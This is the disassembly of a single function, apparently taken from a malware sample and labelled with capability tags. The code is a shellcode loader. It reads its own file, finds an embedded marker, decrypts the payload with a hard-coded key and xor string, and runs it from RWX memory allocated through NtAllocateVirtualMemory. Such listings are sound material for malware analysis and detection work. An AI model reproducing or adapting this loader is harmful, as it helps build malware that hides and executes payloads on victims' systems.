Function at 0x4019d0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40c67b
mov eax, dword fs:[0]
push eax
mov eax, 0x31a5c
call fcn.00403490
mov eax, dword [0x412188]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 0x40d258
push esi
call ebx
push 0x40d26c
push esi
mov edi, eax
call ebx
push 0xe
push str.CNMbshuzi360sd
lea ecx, [ebp - 0x31a54]
mov ebx, eax
mov dword [ebp - 0x31a40], 0xf
mov dword [ebp - 0x31a44], 0
mov byte [ebp - 0x31a54], 0
call fcn.004013f0
push 0x104
lea eax, [ebp - 0x22c]
push eax
push 0
mov dword [ebp - 4], 0
call edi
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x22c]
push eax
push 0
push 0
call ebx
mov esi, eax
push esi
call fcn.00401cc5
add esp, 4
mov edi, eax
push 0
push 0
push esi
push edi
push 0xffffffffffffffff
lea eax, [ebp - 0x22c]
push eax
push 0
push 0
call ebx
push 0x40d290
push edi
call fcn.004021d1
push 2
mov ebx, eax
push 0
push ebx
mov dword [ebp - 0x31a68], ebx
call fcn.004024e4
push ebx
call fcn.004028bc
push 0
push 0
push ebx
mov edi, eax
call fcn.004024e4
push edi
call fcn.00401cc5
push ebx
push edi
mov esi, eax
push 1
push esi
mov dword [ebp - 0x31a58], esi
call fcn.004023a9
push ebx
call fcn.00402096
add esp, 0x3c
mov dword [ebp - 0x24], 0x20f64d7b
mov dword [ebp - 0x20], 0xf1255abd
lea eax, [edi - 0xf]
xor ebx, ebx
mov dword [ebp - 0x1c], 0x263edbe
mov dword [ebp - 0x18], 0xc52bd6f4
mov dword [ebp - 0x31a60], eax
test eax, eax
jle 0x401b7e
lea ecx, [ebx + esi]
lea edx, [ebp - 0x24]
mov esi, 0xc
lea esp, [esp]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x401b6e
add ecx, 4
add edx, 4
sub esi, 4
jae 0x401b30
xor eax, eax
test edi, edi
jle 0x401b60
mov edx, dword [ebp - 0x31a58]
add edx, ebx
nop
mov cl, byte [edx + eax + 0x10]
mov byte [ebp + eax - 0x31a3c], cl
inc eax
cmp eax, edi
jl 0x401b50
push dword [ebp - 0x31a68]
call fcn.00402096
add esp, 4
mov esi, dword [ebp - 0x31a58]
inc ebx
dec edi
cmp ebx, dword [ebp - 0x31a60]
jl 0x401b21
mov al, byte [0x40d2a4]
movq xmm0, qword [str.ThisIsARandomKey]
mov byte [ebp - 0x14], al
push 0x18
lea eax, [ebp - 0x24]
push eax
movq qword [ebp - 0x24], xmm0
movq xmm0, qword [0x40d29c]
lea eax, [ebp - 0x31a3c]
push 0x31810
push eax
mov dword [ebp - 0x31a58], 0x31810
movq qword [ebp - 0x1c], xmm0
call fcn.00401840
lea eax, [ebp - 0x31a58]
push eax
lea eax, [ebp - 0x31a3c]
push 0x31810
push eax
call fcn.004014f0
mov edi, dword [ebp - 0x31a58]
mov ebx, eax
mov eax, dword [ebp - 0x31a44]
add esp, 0x1c
xor esi, esi
mov dword [ebp - 0x31a60], eax
test edi, edi
jle 0x401c1f
cmp dword [ebp - 0x31a40], 0x10
mov eax, esi
cdq
lea ecx, [ebp - 0x31a54]
cmovae ecx, dword [ebp - 0x31a54]
idiv dword [ebp - 0x31a60]
inc esi
mov al, byte [edx + ecx]
xor byte [esi + ebx - 1], al
cmp esi, edi
jl 0x401bf6
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.NtAllocateVirtualMemory
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
mov esi, eax
push 0x3000
lea eax, [ebp - 0x31a64]
push eax
push 0
lea eax, [ebp - 0x31a5c]
push eax
mov dword [ebp - 0x31a5c], 0
mov dword [ebp - 0x31a64], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push edi
push ebx
push dword [ebp - 0x31a5c]
call fcn.004034c0
call dword [ebp - 0x31a5c]
lea eax, [ebp - 0x31a3c]
push eax
call fcn.00402f74
push ebx
call fcn.00402f74
add esp, 0x14
cmp dword [ebp - 0x31a40], 0x10
jb 0x401ca7
push dword [ebp - 0x31a54]
call fcn.00401ee8
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040303e
mov esp, ebp
pop ebp
ret